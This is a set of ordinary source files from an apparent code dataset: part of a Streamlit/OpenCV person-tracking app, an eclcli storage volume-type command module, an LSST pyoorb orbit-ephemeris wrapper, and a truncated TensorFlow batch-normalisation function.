bounding\n # box coordinates and then start the dlib correlation\n # tracker\n tracker = dlib.correlation_tracker()\n rect = dlib.rectangle(startX, startY, endX, endY)\n tracker.start_track(rgb, rect)\n\n # add the tracker to our list of trackers so we can\n # utilize it during skip frames\n trackers.append(tracker)\n\n # otherwise, we should utilize our object *trackers* rather than\n # object *detectors* to obtain a higher frame processing throughput\n else:\n # loop over the trackers\n for tracker in trackers:\n # set the status of our system to be 'tracking' rather\n # than 'waiting' or 'detecting'\n status = \"Tracking\"\n\n # update the tracker and grab the updated position\n tracker.update(rgb)\n pos = tracker.get_position()\n\n # unpack the position object\n startX = int(pos.left())\n startY = int(pos.top())\n endX = int(pos.right())\n endY = int(pos.bottom())\n\n # add the bounding box coordinates to the rectangles list\n rects.append((startX, startY, endX, endY))\n\n # draw a horizontal line in the center of the frame -- once an\n # object crosses this line we will determine whether they were\n # moving 'up' or 'down'\n cv2.line(frame, (0, 3*H // 4), (W, 3* H // 4), (0, 255, 255), 2)\n cv2.putText(frame, \"GATE\", (0,3* H // 4),\n cv2.FONT_HERSHEY_SIMPLEX, 0.6, (0, 255, 255), 2) ############################@##########\n\n # use the centroid tracker to associate the (1) old object\n # centroids with (2) the newly computed object centroids\n objects = ct.update(rects)\n\n # loop over the tracked objects\n for (objectID, centroid) in objects.items():\n # check to see if a trackable object exists for the current\n # object ID\n to = trackableObjects.get(objectID, None)\n\n # if there is no existing trackable object, create one\n if to is None:\n to = TrackableObject(objectID, centroid)\n\n # otherwise, there is a trackable object so we can utilize it\n # to determine direction\n else:\n # the difference between the y-coordinate of the *current*\n # centroid and the mean of *previous* centroids will tell\n # us in which direction the object is moving (negative for\n # 'up' and positive for 'down')\n y = [c[1] for c in to.centroids]\n direction = centroid[1] - np.mean(y)\n to.centroids.append(centroid)\n\n # check to see if the object has been counted or not\n if not to.counted:\n # if the direction is negative (indicating the object\n # is moving up) AND the centroid is above the center\n # line, count the object\n if direction < 0 and centroid[1] < H // 2:\n totalUp += 1\n to.counted = True\n\n # if the direction is positive (indicating the object\n # is moving down) AND the centroid is below the\n # center line, count the object\n elif direction > 0 and centroid[1] > H // 2:\n totalDown += 1\n to.counted = True\n\n # store the trackable object in our dictionary\n trackableObjects[objectID] = to\n\n # draw both the ID of the object and the centroid of the\n # object on the output frame\n text = \"ID {}\".format(objectID)\n cv2.putText(frame, text, (centroid[0] - 10, centroid[1] - 10),\n cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 255, 0), 2)\n cv2.circle(frame, (centroid[0], centroid[1]), 4, (0, 255, 0), -1)\n\n # construct a tuple of information we will be displaying on the\n # frame\n info = [\n (\"OUT\", totalUp),\n (\"IN\", totalDown),\n (\"Status\", status),\n ]\n\n # loop over the info tuples and draw them on our frame\n for (i, (k, v)) in enumerate(info):\n text = \"{}: {}\".format(k, v)\n cv2.putText(frame, text, (10, H - ((i * 20) + 20)),\n cv2.FONT_HERSHEY_SIMPLEX, 0.6, (0, 0, 255), 2)\n\n # check to see if we should write the frame to disk\n if writer is not None:\n writer.write(frame)\n\n # show the output frame\n frame_st.image(frame)\n\n # frame_st.image(frame)\n key = cv2.waitKey(1) & 0xFF\n \n\n # if the `q` key was pressed, break from the loop\n if key == ord(\"q\"):\n break\n\n # increment the total number of frames processed thus far and\n # then update the FPS counter\n totalFrames += 1\n fps.update()\n\n # stop the timer and display FPS information\n fps.stop()\n print(\"[INFO] elapsed time: {:.2f}\".format(fps.elapsed()))\n print(\"[INFO] approx. FPS: {:.2f}\".format(fps.fps()))\n\n # check to see if we need to release the video writer pointer\n if writer is not None:\n writer.release()\n\n # if we are not using a video file, stop the camera video stream\n if not args.get(\"input\", False):\n vs.stop()\n\n # otherwise, release the video file pointer\n else:\n vs.release()\n\n # close any open windows\n cv2.destroyAllWindows()\n##################################################################################################################\n\nif add_selectbox == 'Person Detection(Video)':\n # cap = cv2.VideoCapture('p_sp.avi')\n # image_placeholder_1 = st.empty()\n # while(cap.isOpened()):\n # ret, frame = cap.read()\n # if not ret:\n # break\n # image_placeholder_1.image(frame)\n # if cv2.waitKey(1) & 0xFF == ord('q'):\n # break\n\n # cap.release()\n # cv2.destroyAllWindows()\n def org_video(image_placeholder_1):\n \n if True:\n video = cv2.VideoCapture('CCTV.mp4')\n \n while True:\n success, image = video.read()\n if not success:\n break\n image_placeholder_1.image(image, channels=\"BGR\")\n video.release()\n cv2.destroyAllWindows()\n\n def process_video(image_placeholder_2):\n \n if True:\n video2 = cv2.VideoCapture('p_sp_1.avi')\n \n while True:\n ret, image2 = video2.read()\n if not ret:\n break\n image_placeholder_2.image(image2)\n video2.release()\n cv2.destroyAllWindows()\n \n st.header(\"Object Detection on Video\")\n col3, col4 = st.beta_columns(2)\n col3.subheader(\"Original\")\n col4.subheader(\"Output\")\n image_placeholder_1 = col3.empty() \n image_placeholder_2 = col4.empty()\n # t_add = threading.Thread(target = org_video(image_placeholder_1))\n # t_del = threading.Thread(target = process_video(image_placeholder_2))\n # t_add.start()\n # t_del.start() \n p1 = Process(target = org_video(image_placeholder_1))\n p1.start()\n p2 = Process(target = process_video(image_placeholder_2))\n p2.start() \n \n\n\n##################################################################################################################\n\nif add_selectbox == 'OpenCV Vs Masking':\n\n st.title(\"Comparing with openCV \")\n \n\n # '''HSV - Hue, Saturation, Value\n # HSV may also be called HSB (short for hue, saturation and brightness).\n # hue max -> 360 (opencv supports till 180 vals(0-179))'''\n\n def empty(a):\n pass\n\n\n def HSV(img):\n # TrackBar()\n img_hsv = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)\n \n \n h_min,h_max,s_min,s_max,v_min,v_max = trackbar()\n \n lower = np.array([h_min, s_min, v_min])\n upper = np.array([h_max, s_max, v_max])\n mask = cv2.inRange(img_hsv, lower, upper)\n img_result = cv2.bitwise_and(img,img,mask=mask)\n return mask\n\n\n def getCountours(img_h, img_c):\n contours, hierarchy = cv2.findContours(img_c, cv2.RETR_EXTERNAL,cv2.CHAIN_APPROX_NONE)\n for cnt in contours:\n area = cv2.contourArea(cnt)\n cv2.drawContours(img_contour1, cnt, -1, (0,255,0),3)\n peri = cv2.arcLength(cnt,True)\n approx = cv2.approxPolyDP(cnt, 0.02*peri, True)\n objCor = len(approx)\n x, y, w, h = cv2.boundingRect(approx)\n cv2.rectangle(img_detect1,(x,y),(x+w,y+h),(255,0,0),2)\n \n contours, hierarchy = cv2.findContours(img_h, cv2.RETR_EXTERNAL,cv2.CHAIN_APPROX_NONE)\n for cnt in contours:\n area = cv2.contourArea(cnt)\n cv2.drawContours(img_contour2, cnt, -1, (0,255,0),3)\n peri = cv2.arcLength(cnt,True)\n approx = cv2.approxPolyDP(cnt, 0.02*peri, True)\n objCor = len(approx)\n x, y, w, h = cv2.boundingRect(approx)\n cv2.rectangle(img_detect2,(x,y),(x+w,y+h),(255,0,0),2)\n\n def putLabel(img, text):\n font = cv2.FONT_HERSHEY_SIMPLEX\n cv2.putText(img, text, (10,400), font, 1,(255,255,255),2,cv2.LINE_AA)\n \n img = cv2.imread('pinwheel2.png')\n img_contour1 = img.copy()\n img_contour2 = img.copy()\n img_detect1 = img.copy()\n img_detect2 = img.copy()\n img_hsv = HSV(img)\n img_gray = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\n img_blur = cv2.GaussianBlur(img_gray,(7,7),1)\n img_canny = cv2.Canny(img,300,300)\n\n getCountours(img_hsv, img_canny)\n\n putLabel(img, 'Original')\n putLabel(img_gray, 'Gray Scaling')\n putLabel(img_blur, 'Blured Image')\n putLabel(img_canny, 'OpenCV mask')\n putLabel(img_hsv, 'Our mask')\n putLabel(img_contour1, 'OpenCV contour')\n putLabel(img_contour2, 'Our contour')\n putLabel(img_detect1,'OpenCV detected')\n putLabel(img_detect2,'We detected')\n\n img_ver = stackImages(0.60,([img,img_gray,img_blur],\n [img_canny, img_contour1,img_detect1],\n [img_hsv, img_contour2, img_detect2]))\n # cv2.imshow('Output',img_ver)\n st.image(img_ver)\n cv2.waitKey(0)\n cv2.destroyAllWindows()\n\n\n ################################################################################\nif add_selectbox == 'Image Mask':\n def empty(a):\n pass\n while True:\n img = cv2.imread('pinwheel2.png')\n img_hsv = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)\n h_min,h_max,s_min,s_max,v_min,v_max = trackbar()\n \n lower = np.array([h_min, s_min, v_min])\n upper = np.array([h_max, s_max, v_max])\n mask = cv2.inRange(img_hsv, lower, upper)\n img_result = cv2.bitwise_and(img,img,mask=mask)\n img_ver = stackImages(0.63,([img,img_hsv],[mask,img_result]))\n st.image(img_ver)\n cv2.waitKey(1)\n\n\n cv2.destroyAllWindows()\n","repo_name":"tanya-ranjan2/person_detection_and_traking","sub_path":"webapp.py","file_name":"webapp.py","file_ext":"py","file_size_in_byte":34272,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"32840424725","text":"import copy\n\nimport six\n\nfrom eclcli.common import command\nfrom eclcli.common import utils\nfrom eclcli.storage.storageclient import exceptions\n\n\nclass ListVolumeType(command.Lister):\n\n def get_parser(self, prog_name):\n parser = super(ListVolumeType, self).get_parser(prog_name)\n parser.add_argument(\n \"--name\",\n metavar=\"\",\n help=\"Filter results by virtual storage name\")\n return parser\n\n def take_action(self, parsed_args):\n storage_client = self.app.client_manager.storage\n\n search_opts = {\n 'display_name': parsed_args.name,\n }\n\n columns = ['ID', 'Name', 'available_volume_size',\n 'available_volume_throughput',\n 'available_iops_per_gb']\n column_headers = copy.deepcopy(columns)\n\n data = storage_client.volume_types.list(search_opts=search_opts)\n\n if parsed_args.name is not None:\n data = utils.filter_list_with_property(data, \"name\", parsed_args.name)\n\n for vtype in data:\n for key, value in vtype.extra_specs.items():\n setattr(vtype, key, value)\n\n return (column_headers,\n (utils.get_item_properties(\n s, columns,\n ) for s in data))\n\n\nclass ShowVolumeType(command.ShowOne):\n\n def get_parser(self, prog_name):\n parser = super(ShowVolumeType, self).get_parser(prog_name)\n parser.add_argument(\n \"volume_type\",\n metavar=\"VOLUME_TYPE_ID\",\n help=\"volume type to display (ID)\")\n return parser\n\n def take_action(self, parsed_args):\n storage_client = self.app.client_manager.storage\n try:\n volume_type = storage_client.volume_types.get(parsed_args.volume_type)\n printout = volume_type._info\n for key, value in printout.get(\"extra_specs\").items():\n printout[key] = copy.copy(value)\n del printout[\"extra_specs\"]\n except exceptions.ClientException as clientexp:\n printout = {\"message\": clientexp.message,\n \"details\": clientexp.details,\n \"code\": clientexp.code}\n return zip(*sorted(six.iteritems(printout)))\n","repo_name":"nttcom/eclcli","sub_path":"eclcli/storage/v2/volume_type.py","file_name":"volume_type.py","file_ext":"py","file_size_in_byte":2268,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"37"} +{"seq_id":"786158767","text":"import os\nimport logging\nfrom itertools import repeat\nimport numpy as np\nimport pandas as pd\nimport pyoorb as oo\nfrom .orbits import Orbits\n\nimport time\n\n__all__ = ['PyOrbEphemerides']\n\n\ndef dtime(time_prev):\n return (time.time() - time_prev, time.time())\n\n\nclass PyOrbEphemerides(object):\n \"\"\"Generate ephemerides and propagate orbits using the python interface to Oorb.\n\n Typical usage:\n pyephs = PyOrbEphemerides()\n # Set the orbital parameters, using an lsst.sims.movingObjects.Orbits object\n pyephs.setOrbits(orbits)\n # Generate ephemerides at times 'times'.\n ephs = pyephs.generateEphemerides(times, timeScale='UTC', obscode='I11')\n\n This class handles the packing and unpacking of the fortran style arrays that\n pyoorb uses, to and from more user-friendly pandas arrays.\n\n Parameters\n ----------\n ephfile : str, opt\n Planetary ephemerides file for Oorb (i.e. de430 or de405).\n Default $OORB_DATA/de430.dat ($OORB_DATA = $OORB_DIR/data).\n \"\"\"\n def __init__(self, ephfile=None):\n # Set translation from timescale to OpenOrb numerical representation.\n # Note all orbits are assumed to be in TT timescale.\n # Also, all dates are expected to be in MJD.\n self.timeScales = {'UTC': 1, 'UT1': 2, 'TT': 3, 'TAI': 4}\n self.elemType = {'CAR': 1, 'COM': 2, 'KEP': 3, 'DEL': 4, 'EQX': 5}\n\n # Set up oorb. Call this once.\n if ephfile is None:\n ephfile = os.path.join(os.getenv('OORB_DATA'), 'de430.dat')\n self.ephfile = ephfile\n self._init_oorb()\n self.oorbElem = None\n self.orb_format = None\n\n def _init_oorb(self):\n oo.pyoorb.oorb_init(ephemeris_fname=self.ephfile)\n\n def setOrbits(self, orbitObj):\n \"\"\"Set the orbits, to be used to generate ephemerides.\n\n Immediately calls self._convertOorbElem to translate to the 'packed' oorb format.\n\n Parameters\n ----------\n orbitObj : Orbits\n The orbits to use to generate ephemerides.\n \"\"\"\n if len(orbitObj) == 0:\n raise ValueError('There are no orbits in the Orbit object.')\n self._convertToOorbElem(orbitObj.orbits, orbitObj.orb_format)\n\n def _convertToOorbElem(self, orbitDataframe, orb_format):\n \"\"\"Convert orbital elements into the numpy fortran-format array OpenOrb requires.\n\n The OpenOrb element format is a single array with elemenets:\n 0 : orbitId (cannot be a string)\n 1-6 : orbital elements, using radians for angles\n 7 : element 'type' code (1 = CAR, 2 = COM, 3 = KEP, 4 = DELauny, 5 = EQX (equinoctial))\n 8 : epoch\n 9 : timescale for epoch (1 = UTC, 2 = UT1, 3 = TT, 4 = TAI : always assumes TT)\n 10 : magHv\n 11 : g\n\n Sets self.oorbElem, the orbit parameters in an array formatted for OpenOrb.\n \"\"\"\n oorbElem = np.zeros([len(orbitDataframe), 12], dtype=np.double, order='F')\n # Put in simple values for objid, or add method to test if any objId is a string.\n # NOTE THAT THIS MEANS WE'VE LOST THE OBJID\n oorbElem[:,0] = np.arange(0, len(orbitDataframe), dtype=int) + 1\n # Add the appropriate element and epoch types:\n oorbElem[:,7] = np.zeros(len(orbitDataframe), float) + self.elemType[orb_format]\n oorbElem[:,9] = np.zeros(len(orbitDataframe), float) + self.timeScales['TT']\n # Convert other elements INCLUDING converting inclination, node, argperi to RADIANS\n if orb_format == 'KEP':\n oorbElem[:, 1] = orbitDataframe['a']\n oorbElem[:, 2] = orbitDataframe['e']\n oorbElem[:, 3] = np.radians(orbitDataframe['inc'])\n oorbElem[:, 4] = np.radians(orbitDataframe['Omega'])\n oorbElem[:, 5] = np.radians(orbitDataframe['argPeri'])\n oorbElem[:, 6] = np.radians(orbitDataframe['meanAnomaly'])\n elif orb_format == 'COM':\n oorbElem[:, 1] = orbitDataframe['q']\n oorbElem[:, 2] = orbitDataframe['e']\n oorbElem[:, 3] = np.radians(orbitDataframe['inc'])\n oorbElem[:, 4] = np.radians(orbitDataframe['Omega'])\n oorbElem[:, 5] = np.radians(orbitDataframe['argPeri'])\n oorbElem[:, 6] = orbitDataframe['tPeri']\n elif orb_format == 'CAR':\n oorbElem[:, 1] = orbitDataframe['x']\n oorbElem[:, 2] = orbitDataframe['y']\n oorbElem[:, 3] = orbitDataframe['z']\n oorbElem[:, 4] = orbitDataframe['xdot']\n oorbElem[:, 5] = orbitDataframe['ydot']\n oorbElem[:, 6] = orbitDataframe['zdot']\n else:\n raise ValueError('Unknown orbit format %s: should be COM, KEP or CAR.' % orb_format)\n oorbElem[:,8] = orbitDataframe['epoch']\n oorbElem[:,10] = orbitDataframe['H']\n oorbElem[:,11] = orbitDataframe['g']\n self.oorbElem = oorbElem\n self.orb_format = orb_format\n\n def convertFromOorbElem(self):\n \"\"\"Translate pyoorb-style orbital element array back into dataframe.\n\n Parameters\n ----------\n oorbElem : numpy.ndarray\n The orbital elements in OpenOrb format.\n\n Returns\n -------\n pd.DataFrame\n A DataFrame with the appropriate subset of columns relating to orbital elements.\n \"\"\"\n if self.orb_format == 'KEP':\n newOrbits = pd.DataFrame(self.oorbElem.copy(), columns=['oorbId', 'a', 'e', 'inc', 'Omega', 'argPeri',\n 'meanAnomaly', 'elem_type', 'epoch',\n 'epoch_type',\n 'H', 'g'])\n newOrbits['meanAnomaly'] = np.degrees(newOrbits['meanAnomaly'])\n elif self.orb_format == 'COM':\n newOrbits = pd.DataFrame(self.oorbElem.copy(), columns=['oorbId', 'q', 'e', 'inc', 'Omega', 'argPeri',\n 'tPeri', 'elem_type', 'epoch', 'epoch_type',\n 'H', 'g'])\n elif self.orb_format == 'CAR':\n newOrbits = pd.DataFrame(self.oorbElem.copy(), columns = ['oorbId', 'x', 'y', 'z',\n 'xdot', 'ydot', 'zdot', 'elem_type', 'epoch',\n 'epoch_type', 'H', 'g'])\n else:\n raise ValueError('Unknown orbit format %s: should be COM, KEP or CAR.' % self.orb_format)\n # Convert from radians to degrees.\n if self.orb_format == 'KEP' or self.orb_format =='COM':\n newOrbits['inc'] = np.degrees(newOrbits['inc'])\n newOrbits['Omega'] = np.degrees(newOrbits['Omega'])\n newOrbits['argPeri'] = np.degrees(newOrbits['argPeri'])\n # Drop columns we don't need and don't include in our standard columns.\n del newOrbits['elem_type']\n del newOrbits['epoch_type']\n del newOrbits['oorbId']\n # To incorporate with original Orbits object, need to swap back to original objIds\n # as well as put back in original SEDs.\n return newOrbits\n\n def convertOrbitFormat(self, orb_format='CAR'):\n \"\"\"Convert orbital elements from the format in orbitObj into 'format'.\n\n Parameters\n ----------\n format : str, opt\n Format to convert orbital elements into.\n\n Returns\n -------\n \"\"\"\n oorbElem, err = oo.pyoorb.oorb_element_transformation(in_orbits=self.oorbElem,\n in_element_type=self.elemType[orb_format])\n if err != 0:\n raise RuntimeError('Oorb returned error %s' % (err))\n del self.oorbElem\n self.oorbElem = oorbElem\n self.orb_format = orb_format\n return\n\n def _convertTimes(self, times, timeScale='UTC'):\n \"\"\"Generate an oorb-format array of the times desired for the ephemeris generation.\n\n Parameters\n ----------\n times : numpy.ndarray or float\n The ephemeris times (MJD) desired\n timeScale : str, optional\n The timescale (UTC, UT1, TT, TAI) of the ephemeris MJD values. Default = UTC, MJD.\n\n Returns\n -------\n numpy.ndarray\n The oorb-formatted 'ephTimes' array.\n \"\"\"\n if isinstance(times, float):\n times = np.array([times])\n if len(times) == 0:\n raise ValueError('Got zero times to convert for OpenOrb')\n ephTimes = np.array(list(zip(times, repeat(self.timeScales[timeScale], len(times)))),\n dtype='double', order='F')\n return ephTimes\n\n def _generateOorbEphsFull(self, ephTimes, obscode='I11', ephMode='N'):\n \"\"\"Generate full set of ephemeris output values using Oorb.\n\n Parameters\n ----------\n ephtimes : numpy.ndarray\n Ephemeris times in oorb format (see self.convertTimes)\n obscode : int or str, optional\n The observatory code for ephemeris generation. Default=I11 (Cerro Pachon).\n\n Returns\n -------\n numpy.ndarray\n The oorb-formatted ephemeris array.\n \"\"\"\n oorbEphems, err = oo.pyoorb.oorb_ephemeris_full(in_orbits=self.oorbElem,\n in_obscode=obscode,\n in_date_ephems=ephTimes,\n in_dynmodel=ephMode)\n if err != 0:\n raise RuntimeError('Oorb returned error %s' % (err))\n return oorbEphems\n\n def _convertOorbEphsFull(self, oorbEphs, byObject=True):\n \"\"\"Converts oorb ephemeris array to numpy recarray, with labeled columns.\n\n The oorb ephemeris array is a 3-d array organized as: (object / times / eph@time)\n [objid][time][ephemeris information @ that time] with ephemeris elements\n ! (1) modified julian date\n ! (2) right ascension (deg)\n ! (3) declination (deg)\n ! (4) dra/dt sky-motion (deg/day, including cos(dec) factor)\n ! (5) ddec/dt sky-motion (deg/day)\n ! (6) solar phase angle (deg)\n ! (7) solar elongation angle (deg)\n ! (8) heliocentric distance (au)\n ! (9) geocentric distance (au)\n ! (10) predicted apparent V-band magnitude\n ! (11) position angle for direction of motion (deg)\n ! (12) topocentric ecliptic longitude (deg)\n ! (13) topocentric ecliptic latitude (deg)\n ! (14) opposition-centered topocentric ecliptic longitude (deg)\n ! (15) opposition-centered topocentric ecliptic latitude (deg)\n ! (16) heliocentric ecliptic longitude (deg)\n ! (17) heliocentric ecliptic latitude (deg)\n ! (18) opposition-centered heliocentric ecliptic longitude (deg)\n ! (19) opposition-centered heliocentric ecliptic latitude (deg)\n ! (20) topocentric object altitude (deg)\n ! (21) topocentric solar altitude (deg)\n ! (22) topocentric lunar altitude (deg)\n ! (23) lunar phase [0...1]\n ! (24) lunar elongation (deg, distance between the target and the Moon)\n ! (25) heliocentric ecliptic cartesian x coordinate for the object (au)\n ! (26) heliocentric ecliptic cartesian y coordinate for the object (au)\n ! (27) heliocentric ecliptic cartesian z coordinate for the objects (au)\n ! (28) heliocentric ecliptic cartesian x rate for the object (au/day))\n ! (29) heliocentric ecliptic cartesian y rate for the object (au/day)\n ! (30) heliocentric ecliptic cartesian z rate for the objects (au/day)\n ! (31) heliocentric ecliptic cartesian coordinates for the observatory (au)\n ! (32) heliocentric ecliptic cartesian coordinates for the observatory (au)\n ! (33) heliocentric ecliptic cartesian coordinates for the observatory (au)\n ! (34) true anomaly (currently only a dummy value)\n\n Here we convert to a numpy recarray, grouped either by object (default)\n or by time (if byObject=False).\n The resulting numpy recarray is composed of columns (of each ephemeris element),\n where each column is 2-d array with first axes either 'object' or 'time'.\n - if byObject = True : [ephemeris elements][object][time]\n (i.e. the 'ra' column = 2-d array, where the [0] axis (length) equals the number of ephTimes)\n - if byObject = False : [ephemeris elements][time][object]\n (i.e. the 'ra' column = 2-d arrays, where the [0] axis (length) equals the number of objects)\n\n Parameters\n ----------\n oorbEphs : numpy.ndarray\n The oorb-formatted ephemeris values\n byObject : boolean, optional\n If True (default), resulting converted ephemerides are grouped by object.\n If False, resulting converted ephemerides are grouped by time.\n\n Returns\n -------\n numpy.recarray\n The re-arranged ephemeris values, in a 3-d array.\n \"\"\"\n ephs = np.swapaxes(oorbEphs, 2, 0)\n velocity = np.sqrt(ephs[3]**2 + ephs[4]**2)\n if byObject:\n ephs = np.swapaxes(ephs, 2, 1)\n velocity = np.swapaxes(velocity, 1, 0)\n # Create a numpy recarray.\n names = ['time', 'ra', 'dec', 'dradt', 'ddecdt', 'phase', 'solarelon',\n 'helio_dist', 'geo_dist', 'magV', 'pa',\n 'topo_lon', 'topo_lat', 'opp_topo_lon', 'opp_topo_lat',\n 'helio_lon', 'helio_lat', 'opp_helio_lon', 'opp_helio_lat',\n 'topo_obj_alt', 'topo_solar_alt', 'topo_lunar_alt', 'lunar_phase', 'lunar_dist',\n 'helio_x', 'helio_y', 'helio_z', 'helio_dx', 'helio_dy', 'helio_dz',\n 'obs_helio_x', 'obs_helio_y', 'obs_helio_z', 'trueAnom']\n arraylist = []\n for i, n in enumerate(names):\n arraylist.append(ephs[i])\n arraylist.append(velocity)\n names.append('velocity')\n ephs = np.rec.fromarrays(arraylist, names=names)\n return ephs\n\n def _generateOorbEphsBasic(self, ephTimes, obscode='I11', ephMode='N'):\n \"\"\"Generate ephemerides using OOrb with two body mode.\n\n Parameters\n ----------\n ephtimes : numpy.ndarray\n Ephemeris times in oorb format (see self.convertTimes).\n obscode : int or str, optional\n The observatory code for ephemeris generation. Default=I11 (Cerro Pachon).\n\n Returns\n -------\n numpy.ndarray\n The oorb-formatted ephemeris array.\n \"\"\"\n oorbEphems, err = oo.pyoorb.oorb_ephemeris_basic(in_orbits=self.oorbElem,\n in_obscode=obscode,\n in_date_ephems=ephTimes,\n in_dynmodel=ephMode)\n if err != 0:\n raise RuntimeError('Oorb returned error %s' % (err))\n return oorbEphems\n\n def _convertOorbEphsBasic(self, oorbEphs, byObject=True):\n \"\"\"Converts oorb ephemeris array to numpy recarray, with labeled columns.\n\n The oorb ephemeris array is a 3-d array organized as: (object / times / eph@time)\n [objid][time][ephemeris information @ that time] with ephemeris elements\n ! (1) modified julian date\n ! (2) right ascension (deg)\n ! (3) declination (deg)\n ! (4) dra/dt sky-motion (deg/day, including cos(dec) factor)\n ! (5) ddec/dt sky-motion (deg/day)\n ! (6) solar phase angle (deg)\n ! (7) solar elongation angle (deg)\n ! (8) heliocentric distance (au)\n ! (9) geocentric distance (au)\n ! (10) predicted apparent V-band magnitude\n ! (11) true anomaly (currently only a dummy value)\n\n Here we convert to a numpy recarray, grouped either by object (default)\n or by time (if byObject=False).\n The resulting numpy recarray is composed of columns (of each ephemeris element),\n where each column is 2-d array with first axes either 'object' or 'time'.\n - if byObject = True : [ephemeris elements][object][time]\n (i.e. the 'ra' column = 2-d array, where the [0] axis (length) equals the number of ephTimes)\n - if byObject = False : [ephemeris elements][time][object]\n (i.e. the 'ra' column = 2-d arrays, where the [0] axis (length) equals the number of objects)\n\n Parameters\n ----------\n oorbEphs : numpy.ndarray\n The oorb-formatted ephemeris values\n byObject : boolean, optional\n If True (default), resulting converted ephemerides are grouped by object.\n If False, resulting converted ephemerides are grouped by time.\n\n Returns\n -------\n numpy.recarray\n The re-arranged ephemeris values, in a 3-d array.\n \"\"\"\n ephs = np.swapaxes(oorbEphs, 2, 0)\n velocity = np.sqrt(ephs[3]**2 + ephs[4]**2)\n if byObject:\n ephs = np.swapaxes(ephs, 2, 1)\n velocity = np.swapaxes(velocity, 1, 0)\n # Create a numpy recarray.\n names = ['time', 'ra', 'dec', 'dradt', 'ddecdt', 'phase', 'solarelon',\n 'helio_dist', 'geo_dist', 'magV', 'trueAnomaly']\n arraylist = []\n for i, n in enumerate(names):\n arraylist.append(ephs[i])\n arraylist.append(velocity)\n names.append('velocity')\n ephs = np.rec.fromarrays(arraylist, names=names)\n return ephs\n\n def generateEphemerides(self, times, timeScale='UTC', obscode='I11', byObject=True,\n ephMode='nbody', ephType='basic'):\n \"\"\"Calculate ephemerides for all orbits at times `times`.\n\n This is a public method, wrapping self._convertTimes, self._generateOorbEphs\n and self._convertOorbEphs (which include dealing with oorb-formatting of arrays).\n\n The return ephemerides are in a numpy recarray, with axes\n - if byObject = True : [ephemeris values][object][@time]\n (i.e. the 'ra' column = 2-d array, where the [0] axis (length) equals the number of ephTimes)\n - if byObject = False : [ephemeris values][time][@object]\n (i.e. the 'ra' column = 2-d arrays, where the [0] axis (length) equals the number of objects)\n\n The ephemeris values returned to the user (== columns of the recarray) are:\n ['delta', 'ra', 'dec', 'magV', 'time', 'dradt', 'ddecdt', 'phase', 'solarelon', 'velocity']\n where positions/angles are all in degrees, velocities are deg/day, and delta is the\n distance between the Earth and the object in AU.\n\n Parameters\n ----------\n ephtimes : numpy.ndarray\n Ephemeris times in oorb format (see self.convertTimes)\n obscode : int or str, optional\n The observatory code for ephemeris generation. Default=807 (Cerro Tololo).\n byObject : boolean, optional\n If True (default), resulting converted ephemerides are grouped by object.\n If False, resulting converted ephemerides are grouped by time.\n ephMode : str, optional\n Dynamical model to use for ephemeris generation - nbody or 2body.\n Accepts 'nbody', '2body', 'N' or '2'. Default nbody.\n ephType : str, optional\n Generate full (more data) ephemerides or basic (less data) ephemerides.\n Default basic.\n\n Returns\n -------\n numpy.ndarray\n The ephemeris values, organized as chosen by the user.\n \"\"\"\n if ephMode.lower() in ('nbody', 'n'):\n ephMode = 'N'\n elif ephMode.lower() in ('2body', '2'):\n ephMode = '2'\n else:\n raise ValueError(\"ephMode should be 2body or nbody (or '2' or 'N').\")\n\n #t = time.time()\n ephTimes = self._convertTimes(times, timeScale=timeScale)\n if ephType.lower() == 'basic':\n #oorbEphs = self._generateOorbEphsBasic(ephTimes, obscode=obscode, ephMode=ephMode)\n oorbEphs, err = oo.pyoorb.oorb_ephemeris_basic(in_orbits=self.oorbElem,\n in_obscode=obscode,\n in_date_ephems=ephTimes,\n in_dynmodel=ephMode)\n ephs = self._convertOorbEphsBasic(oorbEphs, byObject=byObject)\n elif ephType.lower() == 'full':\n oorbEphs = self._generateOorbEphsFull(ephTimes, obscode=obscode, ephMode=ephMode)\n ephs = self._convertOorbEphsFull(oorbEphs, byObject=byObject)\n else:\n raise ValueError('ephType must be full or basic')\n #dt, t = dtime(t)\n #logging.debug(\"# Calculating ephemerides for %d objects over %d times required %f seconds\"\n # % (len(self.oorbElem), len(times), dt))\n return ephs\n\n def propagateOrbits(self, newEpoch, ephMode='nbody'):\n \"\"\"Propagate orbits from self.orbits.epoch to new epoch (MJD TT).\n\n Parameters\n ----------\n new_epoch : float\n MJD TT time for new epoch.\n \"\"\"\n newEpoch = self._convertTimes(newEpoch, timeScale='TT')\n if ephMode.lower() in ('nbody', 'n'):\n ephMode = 'N'\n elif ephMode.lower() in ('2body', '2'):\n ephMode = '2'\n else:\n raise ValueError(\"ephMode should be 2body or nbody (or '2' or 'N').\")\n\n newOorbElem, err = oo.pyoorb.oorb_propagation(in_orbits=self.oorbElem, \n in_dynmodel=ephMode, \n in_epoch=newEpoch)\n if err != 0:\n raise RuntimeError('Orbit propagation returned error %d' % err)\n self.oorbElem = newOorbElem\n return\n","repo_name":"lsst-sims/legacy_sims_movingObjects","sub_path":"python/lsst/sims/movingObjects/ooephemerides.py","file_name":"ooephemerides.py","file_ext":"py","file_size_in_byte":21980,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"37059764976","text":"#!/usr/bin/env python3\n\"\"\"Contains the function create_batch_norm_layer()\n\"\"\"\nimport tensorflow as tf\n\n\ndef create_batch_norm_layer(prev, n, activation):\n \"\"\"Creates a batch normalization layer for a neural network in Tensorflow\n\n Args:\n prev: activated output of previous layer\n n: number of nodes in layer to be created\n actiavtion: activation function that should be used for the output\n of the layer\n\n Returns:\n Tensor of the activated output for the layer\n \"\"\"\n # Create layer\n kernel = tf.contrib.layers.variance_scaling_initializer(mode=\"FAN_AVG\")\n base = tf.layers.Dense(n, kernel_initializer=kernel)\n\n # Init variables\n mean, variance = tf.nn.moments(base(prev), axes=[0])\n gamma = tf.Variable(tf.ones([n]), trainable=True)\n beta = tf.Variable(tf.zeros([n]), trainable=True)\n epsilon = 1e-8\n\n batch_norm = tf.nn.batch_normalization(\n base(prev), mean, variance, beta, gamma, epsilon\n )\n\n return 